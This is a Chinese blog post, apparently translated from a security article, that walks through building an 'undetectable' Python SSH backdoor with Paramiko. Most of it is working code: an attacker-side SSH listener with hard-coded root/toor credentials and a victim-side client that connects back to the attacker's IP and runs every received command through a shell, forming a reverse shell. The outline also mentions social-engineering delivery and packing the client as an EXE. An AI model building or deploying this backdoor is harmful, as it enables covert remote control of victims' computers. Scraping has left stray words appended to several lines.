使用python建立一個檢測不到的自定義SSH後門

      看到一篇不錯的關於python ssh後門相關知識的文章,一邊學習順帶部分翻譯一下。原文地址:http://resources.infosecinstitute.com/creating-undetectable-custom-ssh-backdoor-python-z/。在《Black Hat Python Python Programming for Hackers and Pentesters》一書中,也有一個相似的demo,你們能夠參考學習一下。python

      方法:shell

      1.如何實施攻擊;服務器

      2.創建SSH隧道session

      3.反彈Shellssh

      4.SFTPsocket

      5.編寫自定義的特性(抓取屏幕截圖)函數

      6.把代碼封裝成EXE學習

      7.認證this

      如何實施攻擊spa

      關於實施攻擊這一塊,文中提到的是採用社會工程學,具體能夠看原文。

      創建SSH隧道

      利用Paramiko庫來創建SSH隧道。來看一下源碼:

      服務端源碼:

#!/usr/bin/env python
# __author__ = 'sniper.geek'
import socket
import paramiko
import threading
import sys
host_key = paramiko.RSAKey(filename='/root/Desktop/test_rsa.key')
class Server (paramiko.ServerInterface):
   def _init_(self):
       self.event = threading.Event()
   def check_channel_request(self, kind, chanid):
       if kind == 'session':
           return paramiko.OPEN_SUCCEEDED
       return paramiko.OPEN_FAILED_ADMINISTRATIVELY_PROHIBITED
   def check_auth_password(self, username, password):
       if (username == 'root') and (password == 'toor'):
           return paramiko.AUTH_SUCCESSFUL
       return paramiko.AUTH_FAILED
try:
    sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
    sock.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)
    sock.bind(('10.0.2.15', 22))
    sock.listen(100)
    print '[+] Listening for connection ...'
    client, addr = sock.accept()
except Exception, e:
    print '[-] Listen/bind/accept failed: ' + str(e)
    sys.exit(1)
print '[+] Got a connection!'
try:
    t = paramiko.Transport(client)
    try:
        t.load_server_moduli()
    except:
        print '[-] (Failed to load moduli -- gex will be unsupported.)'
        raise
    t.add_server_key(host_key)
    server = Server()
    try:
        t.start_server(server=server)
    except paramiko.SSHException, x:
        print '[-] SSH negotiation failed.'
    chan = t.accept(20)
    print '[+] Authenticated!'
    print chan.recv(1024)
    chan.send('Yeah i can see this')
except Exception, e:
    print '[-] Caught exception: ' + str(e.__class__)+':'+str(e)
    try:
        t.close()
    except:
        pass
    sys.exit(1)

      代碼開始定義了本地的RSA key,這個key用於簽名和認證。在這裏使用Paramiko包中包含的test_rsa.key。

      class Server定義了在服務器模式下控制Paramiko行爲的接口,也包含處理來自客戶端的請求函數。例如:「def check_auth_password」定義了在認證過程當中,客戶端的用戶名和密碼是否正確。

      在客戶端請求一個信道的時候,服務端的「def check_channel_request」將被調用。

      客戶端源碼:

#!/usr/bin/env python
# __author__ = 'sniper.geek'
import paramiko
import threading
client = paramiko.SSHClient()
client.set_missing_host_key_policy(paramiko.AutoAddPolicy())
client.connect('10.0.2.15', username='root', password='toor')
chan = client.get_transport().open_session()
chan.send('Hey i am connected :) ')
print chan.recv(1024)
client.close

      SSHClient()類負責大部分認證和開放信道的方面。

      paramiko.AutoAddPolicy()類自動增長主機名和服務器主機密鑰到本地的「HostKeys」對象而且保存它。這樣就不用擔憂你在第一次鏈接SSH服務器的時候,出現的 識別服務器密鑰指紋的通知消息。這裏的IP爲咱們的攻擊者機器的IP地址。

      client.get_transport().open_session()向服務器請求一個類型爲「session」的新信道。若是一切都順利,咱們會發送(「Hey i am connected:」)到服務器而且打印服務器發送過來的消息。

      DEMO演示:

      服務端監聽:

kali1

      客戶端鏈接:

win1

      服務端輸出:

kali2

      爲了支持反彈shell的功能。在服務端須要作一些修改。增長下面的代碼到‘chan.send(Yeah i can see this)’後面,最後總體代碼以下:(黃色部分爲增長的代碼)

  1: #!/usr/bin/env python
  2: # __author__ = 'sniper.geek'
  3: 
  4: import socket
  5: import paramiko
  6: import threading
  7: import sys
  8: 
  9: host_key = paramiko.RSAKey(filename='/root/Desktop/test_rsa.key')
 10: 
 11: class Server (paramiko.ServerInterface):
 12:    def _init_(self):
 13:        self.event = threading.Event()
 14:    def check_channel_request(self, kind, chanid):
 15:        if kind == 'session':
 16:            return paramiko.OPEN_SUCCEEDED
 17:        return paramiko.OPEN_FAILED_ADMINISTRATIVELY_PROHIBITED
 18:    def check_auth_password(self, username, password):
 19:        if (username == 'root') and (password == 'toor'):
 20:            return paramiko.AUTH_SUCCESSFUL
 21:        return paramiko.AUTH_FAILED
 22: 
 23: try:
 24:     sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
 25:     sock.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)
 26:     sock.bind(('10.0.2.15', 22))
 27:     sock.listen(100)
 28:     print '[+] Listening for connection ...'
 29:     client, addr = sock.accept()
 30: except Exception, e:
 31:     print '[-] Listen/bind/accept failed: ' + str(e)
 32:     sys.exit(1)
 33: print '[+] Got a connection!'
 34: 
 35: try:
 36:     t = paramiko.Transport(client)
 37:     try:
 38:         t.load_server_moduli()
 39:     except:
 40:         print '[-] (Failed to load moduli -- gex will be unsupported.)'
 41:         raise
 42:     t.add_server_key(host_key)
 43:     server = Server()
 44:     try:
 45:         t.start_server(server=server)
 46:     except paramiko.SSHException, x:
 47:         print '[-] SSH negotiation failed.'
 48: 
 49:     chan = t.accept(20)
 50:     print '[+] Authenticated!'
 51:     print chan.recv(1024)
 52:     chan.send('Yeah i can see this')
 53:     while True:
 54:         command= raw_input("Enter command: ").strip('\n')
 55:         chan.send(command)
 56:         print chan.recv(1024) + '\n'
 57: 
 58: except Exception, e:
 59:     print '[-] Caught exception: ' + str(e.__class__)+':'+str(e)
 60:     try:
 61:         t.close()
 62:     except:
 63:         pass
 64:     sys.exit(1)

      客戶端代碼在chan.recv(2048)後面增長以下代碼,最後總體代碼以下:(紅色部分爲增長的代碼)

  1: #!/usr/bin/env python
  2: # __author__ = 'sniper.geek'
  3: 
  4: import paramiko
  5: import threading
  6: import subprocess
  7: 
  8: client = paramiko.SSHClient()
  9: client.set_missing_host_key_policy(paramiko.AutoAddPolicy())
 10: client.connect('10.0.2.15', username='root', password='toor')
 11: chan = client.get_transport().open_session()
 12: chan.send('Hey i am connected :) ')
 13: print chan.recv(1024)
 14: while True:
 15:     command = chan.recv(1024)
 16:     try:
 17:         CMD = subprocess.check_output(command, shell=True)
 18:         chan.send(CMD)
 19:     except Exception,e:
 20:         chan.send(str(e))

      接下來,再看一下演示:

      服務端:

kali3

      客戶端:

win72

      這裏有個問題,若是服務端終止服務,客戶端會被掛起。能夠在客戶端try…except…以前加入一個判斷,若是接收到的命令時exit,則退出,服務端也作一樣的判斷。

  1: #!/usr/bin/env python
  2: # __author__ = 'sniper.geek'
  3: 
  4: import paramiko
  5: import threading
  6: import subprocess
  7: 
  8: client = paramiko.SSHClient()
  9: client.set_missing_host_key_policy(paramiko.AutoAddPolicy())
 10: client.connect('192.168.107.128', username='root', password='toor')
 11: chan = client.get_transport().open_session()
 12: chan.send('Hey i am connected :) ')
 13: print chan.recv(1024)
 14: while True:
 15:     command = chan.recv(1024)
 16:     if 'exit' in command.rstrip('\n').lower():
 17:        client.close
 18:        exit(1)
 19:     try:
 20:         CMD = subprocess.check_output(command, shell=True)
 21:         chan.send(CMD)
 22:     except Exception,e:
 23:         chan.send(str(e))
 24: client.close
相關文章
相關標籤/搜索